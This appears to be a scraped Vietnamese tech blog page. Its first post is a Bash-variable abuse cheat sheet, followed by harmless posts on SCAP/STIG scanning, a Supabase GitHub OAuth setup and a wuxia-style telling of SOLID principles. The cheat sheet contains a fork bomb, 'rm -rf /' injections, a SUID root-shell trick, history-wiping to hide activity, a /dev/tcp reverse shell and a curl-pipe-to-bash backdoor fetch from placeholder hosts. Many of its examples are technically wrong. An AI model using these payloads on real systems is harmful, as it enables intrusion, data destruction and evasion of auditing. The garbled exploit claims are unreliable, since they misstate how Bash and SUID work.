Reference - Bash Variables

 Bash Variables

_ $_, an underscore

echo $_
echo "echo 'Intercepted!'" > _
chmod +x _
$_ ls

BASH

echo "/bin/sh -p" > /tmp/bash
export PATH=/tmp:$PATH
echo "Running as $BASH"

BASHOPTS

echo $BASHOPTS
BASHOPTS=restricted_shell /bin/bash
echo $BASHOPTS

BASHPID

#!/bin/bash
echo "Current user: $(whoami)"
echo "Current process ID: $$"
echo "BASHPID: $BASHPID"
if [ $BASHPID -eq $$ ]; then
    echo "Hello world" >> /etc/system_file
else
    echo "exit"
    exit 1
fi

BASH_ALIASES

export BASH_ALIASES='alias ll="ls -al"'
source ~/.bashrc
ll

BASH_ARGC

if [ $BASH_ARGC -eq 1 ]; then
  # make backup
fi

BASH_ARGC=1
/usr/local/bin/backup.sh
BASH_ARGV
FILE=${BASH_ARGV[1]}
cp /backup/$FILE /home/user/

BASH_ARGV[0]="restore.sh"
BASH_ARGV[1]="/etc/shadow"
/usr/local/bin/restore.sh
BASH_ARGV0
if [ "$BASH_ARGV0" == "/etc/init.d/xxxx" ]; then
   # restart services
fi

BASH_ARGV0="/etc/init.d/xxxx" 
/usr/local/bin/restart.sh
BASH_CMDS
if [[ "${BASH_CMDS[0]}" == "sudo" ]]; then
  # make backup
fi

BASH_CMDS[0]="sudo"
/usr/local/bin/logbackup.sh
BASH_COMMAND
if [ "$BASH_COMMAND" = "systemctl restart server" ]; then 
   # restart server
fi

export BASH_COMMAND='systemctl restart server'
/usr/local/bin/restart-server.sh
BASH_COMPAT
[ -n "$BASH_VERSINFO" ] || {
  # legacy Bash command
}

unset BASH_VERSINFO
export BASH_COMPAT=3.2
/path/to/suid-script
BASH_ENV
/bin/bash -p 
mv /tmp/rootkit /usr/local/sbin
export BASH_ENV=/home/user/.bashrc
BASH_EXECUTION_STRING
if [[ "$BASH_EXECUTION_STRING" == *"systemctl start"* ]]; then
  # start app
fi

export BASH_EXECUTION_STRING="systemctl start myapp"
/usr/local/bin/startapp.sh
BASH_LINENO
if [ "$BASH_LINENO" -lt 10 ]; then
  # delete some temp files
fi

BASH_LINENO=5
/usr/local/bin/cleanup.sh
BASH_LOADABLES_PATH
export BASH_LOADABLES_PATH=/tmp
BASH_REMATCH
if [[ $INPUT =~ ^[a-zA-Z0-9]+$ ]]; then
  use_as_filename ${BASH_REMATCH[0]} 
fi

BASH_REMATCH[0]=";sudo rm -rf /"
validator.sh
BASH_SOURCE
if [ "$BASH_SOURCE" == "/etc/init.d/startscript" ]; then
   # execute trusted commands
fi

export BASH_SOURCE=/etc/init.d/startscript 
/usr/local/bin/execute.sh
BASH_SUBSHELL
if ! [ "$BASH_SUBSHELL" ]; then
   # run dangerous delete commands
fi

BASH_SUBSHELL=0
/usr/local/bin/cleanup.sh
BASH_VERSINFO
if [ ${BASH_VERSINFO[0]} -lt 4 ]; then
  # restore files
fi

BASH_VERSINFO[0]=3
/usr/local/bin/restore.sh
BASH_VERSINFO
BASH_VERSINFO[0]
The major version number (the release).
BASH_VERSINFO[1]
The minor version number (the version).
BASH_VERSINFO[2]
The patch level.
BASH_VERSINFO[3]
The build version.
BASH_VERSINFO[4]
The release status (e.g., beta1).
BASH_VERSINFO[5]
The value of MACHTYPE.
if [ ${BASH_VERSINFO[0]} -lt 4 ]; then
  # restore files
fi

BASH_VERSINFO[0]=3
/usr/local/bin/restore.sh

BASH_XTRACEFD
export BASH_XTRACEFD=>/tmp/evilfile
/usr/local/bin/debug.sh
CHILD_MAX : fork bomb
export CHILD_MAX=1000000
:(){ :|:& };:
COLUMNS
pr -${COLUMNS} /etc/shadow

export COLUMNS=9999
/path/to/suid-script
COMP_CWORD
DIR=${COMP_WORDS[$COMP_CWORD]} 
tar czf /backups/$DIR.tgz $DIR

COMP_CWORD=0
/usr/local/bin/backup.sh /etc
COMP_LINE
SUID có tên /usr/local/bin/logutils.sh
if [ "$COMP_LINE" == "authlog" ]; then
  cat /var/log/auth.log
fi
export COMP_LINE=";sudo rm -rf /"
/usr/local/bin/logutils.sh
COMP_POINT
SUID có tên /usr/local/bin/validate.sh

if [ $COMP_POINT -gt 10 ]; then
  echo "Invalid input"
  exit
fi

COMP_POINT=5
/usr/local/bin/validate.sh ";sudo rm -rf /"
COMP_TYPE
SUID có tên /usr/local/bin/authmanage.sh
if [ $COMP_TYPE = "583" ]; then
  # add new user
fi

COMP_TYPE=583
/usr/local/bin/authmanage.sh
COMP_WORDBREAKS
SUID có tên /usr/bin/calculator

COMP_WORDBREAKS="" /usr/bin/calculator 1;sudo rm -rf / 2
COMP_WORDS
SUID có tên /usr/bin/fileinfo

COMP_WORDS=( "" "somefile" /tmp/exploit.txt )
/usr/bin/fileinfo /tmp/exploit.txt
ENV
sudo -l
LD_PRELOAD và LD_LIBRARY_PATH
EPOCHREALTIME
SUID có tên /usr/local/bin/backup.sh

modified_since=$((EPOCHREALTIME - 3600))
find /home -mtime -$modified_since -exec cp {} /backup \;

EPOCHREALTIME=0
/usr/local/bin/backup.sh
EPOCHSECONDS
SUID có tên /usr/local/bin/maintenance.sh

now=$EPOCHSECONDS 
before=$((now - 86400))
find /var/log -type f -mtime +$before -delete


EPOCHSECONDS=0
/usr/local/bin/maintenance.sh

 EPOCHSECONDS về 0 sẽ khiến tập lệnh tính toán sai và xóa tất cả các file log
EUID
 SUID có tên /usr/local/bin/backup.sh

if [ $EUID -eq 0 ]; then  
  tar -czf /root/backups.tar.gz /etc /root
fi

EUID=0
/usr/local/bin/backup.sh

 EUID = 0 sẽ khiến backup.sh nghĩ rằng nó đang chạy với quyền root
EXECIGNORE
Tạo một symlink tên "ls" trỏ tới /bin/bash, Kỹ thuật PATH injection do không kiểm soát biến EXECIGNORE

ln -fs /bin/bash ls

Ghi đè EXECIGNORE bằng "ls"
EXECIGNORE=ls
FCEDIT
/bin/bash -p # spawn a shell as root
ghi đè FCEDIT
export FCEDIT=/home/user/fcedit
FIGNORE
SUID có tên /usr/local/bin/cleanup.sh

rm /tmp/*
Xóa các tệp có phần mở rộng .tmp trong /tmp
FIGNORE=".logs"
Bỏ qua các tệp có phần mở rộng .logs do FIGNORE được đặt là ".logs"
FIGNORE=".sh" 
/usr/local/bin/cleanup.sh
Bỏ qua các tệp có phần mở rộng .sh do FIGNORE được đặt là ".sh"
FUNCNAME
SUID có tên /usr/local/bin/app.sh

sensitive_func(){
  if [ "$FUNCNAME" != "sensitive_func" ]; then
    exit
  fi
  
  # sensitive
}

FUNCNAME=sensitive_func
/usr/local/bin/app.sh

FUNCNEST
SUID có tên /usr/local/bin/admin.sh

if [ "$FUNCNEST" -eq 1 ]; then
  # admin commands  
fi

FUNCNEST=1
/usr/local/bin/admin.sh
GLOBIGNORE

SUID có tên /usr/local/bin/clean.sh
rm /tmp/*.tmp

Bỏ qua các thư mục do GLOBIGNORE được đặt là */
GLOBIGNORE=*/
Tạo một thư mục có tên /tmp/exploit và đặt GLOBIGNORE thành */exploit
GLOBIGNORE=*/exploit
clean.sh sẽ bỏ qua thư mục /tmp/exploit và không xóa
GROUPS

GROUPS=root
/path/to/suid-script
histchars

histchars=;
export HISTFILE=/home/user/.bash_history
/path/to/suid-script
Thiết lập histchars về ';' sẽ disable tính năng mở rộng lịch sử lệnh '!' ->  inject vào $HISTFILE
HISTCMD

SUID có tên /usr/local/bin/logview

HISTCMD=1000
/usr/local/bin/logview

HISTCMD là 1000 sẽ khiến logview tin rằng lệnh gần nhất là thứ 1000 trong lịch sử
Chèn các lệnh vào lịch sử ở vị trí 1000

logview đọc HISTCMD, thực thi các lệnh với quyền của tập lệnh SUID

HISTCONTROL

HISTCONTROL kiểm soát lịch sử lệnh được lưu trữ trong Bash
Đặt HISTCONTROL=ignoredups:ignorespace, Bash sẽ bỏ qua các dòng trùng lặp và các dòng chỉ chứa khoảng trắng trong lịch sử lệnh.

export HISTCONTROL=ignorespace
ls
<space><space>
chèn một dòng chỉ có khoảng trắng
!<space>command<space> 
history 
Không hiển thị dòng command
!<space>
gọi lại !<space> để thực thi
HISTFILESIZE
HISTFILESIZE quy định kích thước tệp lịch sử lệnh .bash_history. Mặc định nó là 500 dòng.
Đặt giá trị HISTFILESIZE quá nhỏ, chẳng hạn 0, lịch sử lệnh sẽ không được ghi lại khi logout

export HISTFILESIZE=0

rm -rf / 

logout

Không để lại dấu vết
HISTIGNORE

HISTIGNORE bỏ qua và không lưu vào lịch sử

export HISTIGNORE='ls:pwd:id:*'
id
ls /etc 
pwd
rm -rf /

history

HISTSIZE

HISTSIZE quy định số lượng dòng lệnh tối đa được lưu trữ trong bộ nhớ đệm lịch sử lệnh của Bash
HISTSIZE bằng 0, lịch sử lệnh sẽ không được lưu trữ trong bộ nhớ đệm
export HISTSIZE=0
id
ls /etc
history

HISTTIMEFORMAT

HISTTIMEFORMAT quy định định dạng thời gian được hiển thị trong output của lệnh history
HISTTIMEFORMAT thành một chuỗi trống, thời gian thực hiện lệnh sẽ không được hiển thị
export HISTTIMEFORMAT=

id
ls /etc

history 

IGNOREEOF

IGNOREEOF quy định số lần nhấn Ctrl+D liên tiếp để thoát khỏi shell. Mặc định là 10
Đặt IGNOREEOF thành một giá trị lớn 99999,  khỏi shell bằng Ctrl+D sẽ trở nên khó khăn hơn
Giữ một phiên truy cập hoạt động lâu hơn, ngay cả khi  đã cố gắng đăng xuất

export IGNOREEOF=99999

INPUTRC

INPUTRC chỉ định tệp cấu hình được tải khi khởi động một phiên bash mới
Tạo một tệp .bashrc  và chỉ định nó thông qua INPUTRC

export INPUTRC=/tmp/evil.bashrc
bash
PROMPT_COMMAND
PROMPT_COMMAND trong Bash cho phép thực thi một lệnh ngay trước khi nhắc lệnh xuất hiện
export PROMPT_COMMAND='cp /bin/bash /tmp/rootbash; chown root /tmp/rootbash; chmod +s /tmp/rootbash'

PROMPT_DIRTRIM
PROMPT_DIRTRIM trong Bash cho phép cắt bớt một phần đường dẫn thư mục hiện tại được hiển thị trong nhắc lệnh
PROMPT_DIRTRIM thành một giá trị lớn, ví dụ 100, để cắt bỏ phần lớn đường dẫn

export PROMPT_DIRTRIM=100
chỉ hiển thị thư mục hiện tại mà không có đường dẫn
[user@host tmp]$ cd /var/www/html
[user@host html]$

PS0
PS0 là một biến Bash dùng để tùy chỉnh nhắc lệnh trong Bash shell.
PS0 để che giấu hoạt động và hiển thị trước mỗi lệnh người dùng nhập vào
export PS0='> ' => sẽ chỉ là '> ' thay vì bao gồm thông tin người dùng, máy chủ, thư mục hiện tại.

> id
> sudo rm -rf /

PS3
PS3 là một biến Bash dùng để đặt nhắc lệnh cho câu lệnh select trong Bash script

PS3="input: " => PS3="input: ;curl http://xxx.x/backdoor.sh|bash"
PS4
PS4 là một biến trong Bash dùng để định dạng nhắc lệnh khi chạy Bash script ở chế độ debug
PS4 thường được đặt thành một chuỗi để debug như "+ " hay "DEBUG: "
PS4='DEBUG: ;/bin/bash -i >& /dev/tcp/xxx.xxx.xxx/8080 0>&1'

SHELL
Biến SHELL trong Bash chứa đường dẫn tới shell đang được sử dụng
SHELL=/bin/bash => SHELL=/tmp/evilbash
SHELLOPTS
SHELLOPTS là một biến môi trường trong Bash dùng để kiểm soát các tùy chọn và hành vi của shell
SHELLOPTS được đặt là "braceexpand:hashall:histexpand:monitor:history:interactive-comments:emacs" => edit: export SHELLOPTS="braceexpand:hashall:histexpand:monitor:history"
SHLVL

SHLVL là một biến môi trường trong Bash dùng để theo dõi nesting level của các shell
SHLVL được tăng lên 1 mỗi khi một shell mới được khởi động 
-> SHLVL=1 -> khởi động sẽ là SHLVL=2 -> SHLVL thành một giá trị âm : -1 
-> Nếu so sánh  SHLVL với 0 -> SHLVL=-1 thí nhầm tưởng shell gốc
TMOUT

TMOUT là một biến môi trường trong Bash để giới hạn thời gian phiên làm việc trước khi người dùng tự động đăng xuất khỏi shell
TMOUT được đặt là 10 phút. Khi hết thời gian này mà không có hoạt động, người dùng sẽ bị đăng xuất khỏi shell.
Tắt chức năng này bằng cách đặt TMOUT thành 0 hoặc một giá trị rất lớn
TMOUT=0 or TMOUT=999999 => session truy cập sẽ không bị đóng 
TMPDIR

TMPDIR là một biến môi trường trong Bash chỉ định thư mục tạm cho các file tạm thời
export TMPDIR=/home/user/tmp
UID

UID là một biến môi trường trong Bash chứa ID người dùng hiện tại
export UID=0



Nhãn:

Ghi chú nhanh cách sử dụng SCAP Scan checker và Stigviewer để scan hệ thống

 SCAP Scan checker là gì : là một công cụ   thiết kế để thực hiện kiểm tra và đánh giá sự tuân thủ của hệ thống, ứng dụng hoặc thiết bị với các tiêu chuẩn an ninh thông tin cụ thể được xác định bởi SCAP.


https://public.cyber.mil/stigs/scap/


Tùy vào nhu cầu mà hãy tải các gói phù hợp với môi trường đang sử dụng, bên dưới sẽ là dùng trên windows.


Ghi chú nhanh cách sử dụng SCAP Scan checker và Stigviewer để scan hệ thống

Có nhiều phương thức scan, có thể đứng từ 1 máy trong hệ thống để scan, scan local, scan nhiều máy ... đó là nhu cầu của bạn.

Mục tiêu của nó là gì, bạn có thể kiểm tra hệ thống của bạn có những vulnerability nào không, path đã update chưa, hay có những thứ outdate quá rồi ...


Ghi chú nhanh cách sử dụng SCAP Scan checker và Stigviewer để scan hệ thống

Sau khi chạy một lúc lâu sẽ cho ra kết quả như sau :


Ghi chú nhanh cách sử dụng SCAP Scan checker và Stigviewer để scan hệ thống

Xem chi tiết kết quả:


Ghi chú nhanh cách sử dụng SCAP Scan checker và Stigviewer để scan hệ thống

Cuối cùng là ngồi đọc và đọc thôi, nó có các cảnh báo, nếu vàng hay đỏ thì nên chịu khó, chỉ có đọc và đọc và tìm nguyên nhân thôi. Còn việc còn lại là của bạn. good luck


Ghi chú nhanh cách sử dụng SCAP Scan checker và Stigviewer để scan hệ thống

Stigviewer : là một công cụ hỗ trợ trong việc xem và quản lý Security Technical Implementation Guide (STIG). STIG là một tập hợp các hướng dẫn bảo mật do Quân đội Hoa Kỳ phát triển để hướng dẫn việc cấu hình và duy trì an ninh cho các hệ thống thông tin


https://public.cyber.mil/stigs/

Stigviewer cung cấp giao diện người dùng đồ họa trực quan cho phép truy cập dễ dàng vào nội dung STIG, như ở trên sau khi scan scap có thể import vào Stigviewer để kiểm tra trực quan hơn thông qua kết quả đã scan ...\Sessions\2024-01-09_111912\Results\SCAP\XML.


Ghi chú nhanh cách sử dụng SCAP Scan checker và Stigviewer để scan hệ thống

Import vào có kết quả như sau


Ghi chú nhanh cách sử dụng SCAP Scan checker và Stigviewer để scan hệ thống

Có thể dùng nó để làm một profile checklist để quản lý quá trình thực hiện theo một quy trình khá là hay :)




Ở đây chỉ giới thiệu sơ, trên trang cyber.mil có luôn full doc hướng dẫn, tùy vào mục đích của bạn mà tim những cái theo ý muốn.

Nhãn:

Reference - Ghi chú nhanh cách cấu hình supabase local và trên supabase.com (github oauth)

 Supabase | The Open Source Firebase Alternative

Triển khai trên supabase local:

npm i supabase -g
npx supabase init    

Chỉnh sửa config lại cho phù hợp, config bên dưới là tham khảo từ thông tin sau :

https://github.com/orgs/supabase/discussions/2818
# A string used to distinguish different Supabase projects on the same host. Defaults to the working

# directory name when running `supabase init`.

project_id = "phamquangloc.vn"

[api]

# Port to use for the API URL.

port = 54321

# Schemas to expose in your API. Tables, views and stored procedures in this schema will get API

# endpoints. public and storage are always included.

schemas = ["public", "storage", "graphql_public"]

# Extra schemas to add to the search_path of every request. public is always included.

extra_search_path = ["public", "extensions"]

# The maximum number of rows returns from a view, table, or stored procedure. Limits payload size

# for accidental or malicious requests.

max_rows = 1000

[db]

# Port to use for the local database URL.

port = 54322

# The database major version to use. This has to be the same as your remote database's. Run `SHOW

# server_version;` on the remote database to check.

major_version = 15

[studio]

# Port to use for Supabase Studio.

port = 54323

# Email testing server. Emails sent with the local dev setup are not actually sent - rather, they

# are monitored, and you can view the emails that would have been sent from the web interface.

[inbucket]

# Port to use for the email testing server web interface.

port = 54324
smtp_port = 54325
pop3_port = 54326

[storage]

# The maximum file size allowed (e.g. "5MB", "500KB").

file_size_limit = "50MiB"

[auth]

# The base URL of your website. Used as an allow-list for redirects and for constructing URLs used

# in emails.

site_url = "http://localhost:3000"

# A list of _exact_ URLs that auth providers are permitted to redirect to post authentication.

additional_redirect_urls = ["http://localhost:54321/auth/v1/callback"]

# How long tokens are valid for, in seconds. Defaults to 3600 (1 hour), maximum 604,800 seconds (one

# week).

jwt_expiry = 36000

# Allow/disallow new user signups to your project.

enable_signup = true

[auth.email]

# Allow/disallow new user signups via email to your project.

enable_signup = true

# If enabled, a user will be required to confirm any email change on both the old, and new email

# addresses. If disabled, only the new email is required to confirm.

double_confirm_changes = false

# If enabled, users need to confirm their email address before signing in.

enable_confirmations = false

# Use an external OAuth provider. The full list of providers are: `apple`, `azure`, `bitbucket`,

# `discord`, `facebook`, `github`, `gitlab`, `google`, `keycloak`, `linkedin`, `notion`, `twitch`,

# `twitter`, `slack`, `spotify`, `workos`, `zoom`.

[auth.external.github]
enabled = true
client_id = "Iv1.xxx"
secret = "9f44700xxx34b"
redirect_uri = "http://localhost:54321/auth/v1/callback"
url = ""

Khởi chạy
npx supabase start

Nếu muốn dừng và xóa

npx supabase stop


Reference - Ghi chú nhanh cách cấu hình supabase local và trên supabase.com (github oauth)


Cấu hình github : 


Reference - Ghi chú nhanh cách cấu hình supabase local và trên supabase.com (github oauth)

Code : Tại local khi login button đang để theo url là

http://localhost:3000/login

nên sau khu signInWithOAuth để nó redirectTo về lại index sau khi login

const login = async () => {
    const { error } = await supabase.auth.signInWithOAuth({
        provider: 'github',
        options: {
            redirectTo: 'http://localhost:3000',
        }
    })
    if (error) console.log(error)
}

Cấu hình .env

SUPABASE_URL="http://localhost:54321"
SUPABASE_KEY="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpX"

Và kết quả sẽ như sau :

Reference - Ghi chú nhanh cách cấu hình supabase local và trên supabase.com (github oauth)



Triển khai trên supabase.com:

Trên supabase.com thì cấu hình hơi khác xíu, mọi thứ online nhưng code thì chạy trên localhost nên có xíu khác biệt, còn nếu chạy trên Netlify thì rất đơn giản, ở đây giải quyết chạy code trên localhost


https://supabase.com/dashboard/


API: sau khi tạo app sẽ có api như sau


Reference - Ghi chú nhanh cách cấu hình supabase local và trên supabase.com (github oauth)

Authentication :


Reference - Ghi chú nhanh cách cấu hình supabase local và trên supabase.com (github oauth)


Url Configuration : Hiện tại đang chạy code để link button login ngay tại login, nên cần chuyển hướng nó về đúng login


http://localhost:3000/login


Reference - Ghi chú nhanh cách cấu hình supabase local và trên supabase.com (github oauth)



Github : Tại github cấu hình như sau, Homepage thì vẫn để dự án link local, callback trỏ về supabase.com đã cung cấp


Reference - Ghi chú nhanh cách cấu hình supabase local và trên supabase.com (github oauth)


Code : phần này không cần để redirectTo vì nó tự nhận diện do config ở trên nên nó tự nhảy về


const login = async () => {
    const { error } = await supabase.auth.signInWithOAuth({
        provider: 'github',
    })
    if (error) console.log(error)
}

Cấu hình .env

SUPABASE_URL="https://xxxxx.supabase.co/"
SUPABASE_KEY="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpX"


Sau khi xác thực xong nó sẽ nhảy về lại tran chủ, và nhận code xác thực, cuối cùng là xác thực, code xác thực như sau

http://localhost:3000/?code=8cecf4b6-a8fd-4db3-8012-0bd7751a9723

Và kết quả sẽ như sau :

Reference - Ghi chú nhanh cách cấu hình supabase local và trên supabase.com (github oauth)


Nhãn:

SOLID Principles - Kim Dung Truyện

 

SOLID Principles - Kim Dung Truyện

                                                                 (internet)


https://web.archive.org/web/20150906155800/http://www.objectmentor.com/resources/articles/Principles_and_Patterns.pdf

 

SOLID Principles - Kim Dung Truyện
                                                                 Tổ sư, bang chủ Robert C. Martin (internet)


Trong thế giới code hiệp, khi kể đến cao thủ của môn phái Cái Bang, không ai không biết đến bang chủ Robert C. Martin, được gọi thân mật là lão "Uncle Bob". Ông là người đưa đến Cái Bang bí kiếp quý báu đầu tiên đó là cuốn bí kiếp "Design Principles and Design Patterns". 

Cuốn sách này không chỉ là một tuyển tập kiến thức, mà chính là nguồn cảm hứng, là nền tảng vững chắc cho các đệ tử của Cái Bang.

Uncle Bob, với tư cách là bang chủ của Cái Bang, đã truyền đạt những nguyên lý thiết kế và các mẫu thiết kế quý báu, giúp các võ sư trẻ có thể đối mặt với mọi thử thách trong thế giới rộng lớn của lập trình. Như một bậc thầy kiến thức, ông không chỉ dạy kỹ thuật, mà còn truyền đạt tinh thần võ học - lòng kiên nhẫn, sự quyết tâm và lòng trung hiếu đạo.

Dưới bàn tay của bậc kỳ tài code học Uncle Bob, những nguyên lý trở thành bậc thang của võ công lập trình, giúp các võ sư xây dựng mã nguồn vững chắc và dễ dàng bảo trì. Thay vì chỉ dẫn đạo về cú đấm mạnh mẽ, Uncle Bob đã dạy cho các môn sinh cách sử dụng chiêu thức linh hoạt và thông minh, giống như những tuyệt kỹ trong võ lâm.

Nhưng trên hết, Uncle Bob không chỉ là một bang chủ của Cái Bang, mà còn là một huyền thoại trong thế giới võ hiệp lập trình. Nhờ những công trình của mình, ông đã giúp cho Cái Bang phát triển mạnh mẽ, từ những kẻ ăn mày hôi hám vô danh trở thành các cao thủ và có vị thế trong võ lâm.

Vậy nên, tại cái bang, Uncle Bob không chỉ là một lão ăn mày bang chủ, mà là một huyền thoại sống động, một nguồn động viên mãnh liệt và một nguồn đạo lý đằng sau cho mỗi đệ tử trẻ cố gắng trên con đường rèn luyện võ công của mình. Trong lòng môn phái Cái Bang, Uncle Bob không chỉ là một bang chủ, mà là một người anh hùng, một tấm gương sáng của lòng trung hiếu và lòng đam mê không ngừng được sánh ngang với các bang chủ đời trước như Hồng Tứ Hải, Tiêu Phong,Hồng Thất Công

Và nơi đó vị bang chủ này đã khai sinh ra một môn võ công mà đến mãi sau này, các truyền nhân tế hệ sau đã thừa hưởng và phát triển thêm, đến cuối cùng nó được Cái Bang sau này gọi là....


SOLID Principles 


SOLID Principles - Kim Dung Truyện
                                                                 Bang chủ Michael Feathers (internet)


Sự thế thừa đó cuối cùng đã cho ra một cái tên là SOLID, mặc dù không chỉ riêng một người đặt ra mà là các cao thủ của Cái Bang đời sau kế thừa lại. Sự kết hợp của các bang chủ đời sau và các cao thủ trong bang đã cho ra đời cái tên SOLID , và cái tên này được nhiều thế hệ sau nhớ tới bắt nguồn từ  bang chủ đời tiếp theo là bang chủ Michael Feathers.

Câu chuyện về việc Michael Feathers đặt ra từ viết tắt SOLID như một bí mật sâu thẳm đang lan truyền như một truyền thuyết. Người ta kể rằng, sau khi tiếp nhận vị trí bang chủ Cái Bang đời tiếp theo của môn phái, Michael Feathers đã được các bô lão trong bang truyền cuốn bí kiếp võ công từ bang chủ đời trước,một cuốn bí kiếp cổ xưa  cũ kỹ bụi bặm của thời gian.

Cuốn sách này chứa đựng những bí mật của một truyền thống võ học mà không ai biết tới, bí kiếp SOLID. Thông qua nghiên cứu sâu rộng và sự siêng năng lớn lao, đã giải mã được bí mật này và đặt ra từ viết tắt SOLID, mở ra một trang mới trong cuốn sách của võ lâm lập trình.

Nhưng điều kỳ diệu không chỉ đến từ việc Michael Feathers giải mã SOLID, mà còn từ việc ông biết cách tận dụng kiến thức này để giúp đỡ các đệ tử trẻ trên con đường của họ. Ông truyền dạy về Nguyên tắc trách nhiệm duy nhất (Single Responsibility Principle (SRP)), về Nguyên tắc đóng mở (Open-Closed Principle (OCP)), về Nguyên tắt thay thế (Liskov Substitution Principle (LSP)), về Nguyên tắt phân chia Interface (Interface Segregation Principle (ISP) và về Nguyên tắt mềm dẻo không phụ thuộc (Dependency Inversion Principle (DIP)) như những phép thuật lập trình.

Từ khi Michael Feathers tiết lộ ra từ viết tắt SOLID, võ lâm lập trình chưa bao giờ yên bình như vậy. Các đệ tử trẻ không chỉ học được những kỹ năng mới, mà còn nhận thức được giá trị thực sự của việc giữ gìn truyền thống và học hỏi từ những bậc tiền bối. Ông không chỉ là một người giỏi võ công, mà còn là nguồn động viên mãnh liệt, là nguồn sáng soi đường cho tất cả những ai đam mê hành nghề lập trình.

Từ viết tắt SOLID của Michael Feathers, võ lâm lập trình tiếp tục phát triển, rộng mở và hùng mạnh. Những câu chuyện về những người anh hùng giống như ông là nguồn động viên không ngừng, là ngọn đèn soi sáng con đường dẫn đến đỉnh cao của võ học, nơi mà mọi cao thủ đều ao ước đặt chân đến.


Hồi I. Single Responsibility Principle (SRP)

 Single Responsibility Principle (SRP) là một trong những nguyên tắc quan trọng trong lập trình hướng đối tượng. Theo nguyên tắc này, mỗi class hoặc module trong một chương trình nên chỉ có một trách nhiệm duy nhất, nghĩa là chỉ nên thay đổi vì một lý do duy nhất.

Giống như một môn đồ trong môn phái Cái Bang, người tuân thủ nguyên tắc cần chú tâm vào việc truyền đạt và luyện tập các chiêu thức võ công của mình một cách chính xác và hiệu quả nhất. Họ không bao giờ truyền thụ cho môn đồ khác các chiêu không cần thiết hoặc không nằm trong các chiêu thức không phù hợp.

Ví dụ : Trong Cái BangHàng long thập bát chưởng Đã cẩu bổn pháp, là các môn võ trấn bang vì vậy khi truyền lại cho truyền nhân đời tiếp theo cần luyện tập theo cấp độ và từng bước một.

Giống như một môn đồ khi luyện tập chiêu thức thứ nhất của Hàng long thập bát chưởng như :  

Phi Long Tại Thiên: nhảy lên không trung, từ trên cao đánh xuống, uy lực cực mạnh trong một cú. Khi chưa thuần thục hoặc đang xuất chiêu thứ nhất đánh vào đối thủ nhưng đối thủ lại trúng chiêu thứ hai là Kiến Long Tại Điền : chuyển thủ làm công, có thể hóa giải thế lao của địch, thuận thế phản công, phát ra chiêu thức vừa mạnh vừa mau.

Trong lập trình, việc tuân thủ nguyên tắc Single Responsibility Principle đồng nghĩa với việc mỗi class hoặc module chỉ nên chịu trách nhiệm về một nhiệm vụ cụ thể. 

Ví dụ :  Một lớp quản lý người dùng không nên đồng thời chịu trách nhiệm về việc xác thực người dùng và lưu trữ thông tin người dùng vào cơ sở dữ liệu. Thay vào đó, chúng ta nên tách thành hai lớp riêng biệt: một lớp xác thực người dùng và một lớp quản lý cơ sở dữ liệu người dùng. Điều này giúp cho mã nguồn dễ đọc, dễ hiểu và dễ bảo trì hơn.

Nếu ta không tuân thủ nguyên tắc Single Responsibility Principle, mã nguồn có thể trở nên phức tạp và khó hiểu, khiến cho việc phát triển và bảo trì trở nên khó khăn. 

Việc chia nhỏ trách nhiệm giúp chúng ta tối ưu hóa sự linh hoạt và dễ dàng mở rộng hệ thống mà không ảnh hưởng đến các phần khác của mã nguồn, giống như việc các cao thủ trong môn phái Cái Bang chỉ tập trung vào việc rèn luyện võ công của mình mà không làm xao lãng sự chú ý và tập trung. Điều này giúp họ trở thành những cao thủ không ngừng hoàn thiện kỹ năng và đồng thời giữ vững vị thế của môn phái Cái Bang trong võ lâm.


SOLID Principles - Kim Dung Truyện

 

 Hồi II. Open-Closed Principle (OCP)

Open-Closed Principle là một trong những nguyên tắc quan trọng trong nguyên tắc SOLID của lập trình hướng đối tượng. Nguyên tắc này nói rằng một lớp nên mở rộng để mở rộng các chức năng hoặc thêm các tính năng mới mà không cần sửa đổi mã nguồn hiện tại.

Trong các loại võ công  của Cái Bang, việc tuân thủ nguyên tắc Open-Closed Principle giống như việc một môn đồ không cần phải sửa đổi các kỹ thuật võ công cơ bản của mình khi họ học thêm các kỹ thuật mới hoặc phát triển các chiêu thức riêng.

Thay vào đó, họ có thể mở rộng kiến thức của mình mà không ảnh hưởng đến những gì họ đã học trước đó giống như học Đã cẩu bổn pháp không cần phải tập lại đứng tấn vậy.

Trong lập trình, việc tuân thủ nguyên tắc Open-Closed Principle đồng nghĩa với việc chúng ta nên thiết kế các Class và modules sao cho chúng có thể được mở rộng mà không cần phải thay đổi mã nguồn đã tồn tại. Thay vì sửa đổi mã nguồn của một lớp khi cần thêm chức năng mới, chúng ta nên tạo ra các Class mới hoặc Interfaces để thêm các chức năng mới mà không làm ảnh hưởng đến các phần đã hoạt động.

Việc tuân thủ nguyên tắc Open-Closed Principle giúp mã nguồn trở nên linh hoạt hơn và dễ dàng mở rộng trong tương lai mà không phải lo lắng về việc gây ra lỗi trong các phần đã hoạt động. Điều này tạo điều kiện thuận lợi để phát triển và bảo trì ứng dụng một cách hiệu quả và an toàn.


SOLID Principles - Kim Dung Truyện

 

Hồi III. Liskov Substitution Principle (LSP)

Liskov Substitution Principle là một trong những nguyên tắc quan trọng của nguyên tắc SOLID trong lập trình hướng đối tượng. Nguyên tắc này đặt ra rằng các thực thể của một lớp cơ sở(superclass) nên có thể được thay thế bằng các thực thể của lớp con(subclass) mà không làm thay đổi tính đúng đắn của chương trình.

Trong môn phái Cái Bang, việc tuân thủ nguyên tắc Liskov Substitution Principle có thể được hiểu như việc bất kỳ đệ tử nào của môn phái Cái Bang cũng nên có thể tham gia vào các trận đấu võ thuật mà không làm mất đi danh dự hoặc hiệu suất của môn phái. Điều này đảm bảo rằng mỗi đệ tử đều có khả năng thể hiện bản thân một cách đồng nhất và đúng đắn như các cao thủ.

Trong lập trình, việc tuân thủ nguyên tắc Liskov Substitution Principle đồng nghĩa với việc các lớp con(subclasses) nên thừa hưởng và mở rộng (inherit và extend)các chức năng của lớp cơ sở(superclass) mà không làm thay đổi hành vi của chương trình khi sử dụng các thực thể của các lớp con(subclasses) thay thế cho lớp cơ sở(superclass). Điều này giúp cho việc sử dụng các đối tượng tương tự nhau một cách nhất quán và dễ dàng bảo trì.

Nếu nguyên tắc Liskov Substitution Principle không được tuân thủ, việc sử dụng các đối tượng của các lớp con(subclasses) có thể dẫn đến các hành vi không mong muốn hoặc lỗi trong chương trình, gây ra các vấn đề khó xác định và sửa chữa. Điều này làm giảm tính linh hoạt và sự tin cậy của mã nguồn, gây khó khăn trong việc phát triển và bảo trì ứng dụng.


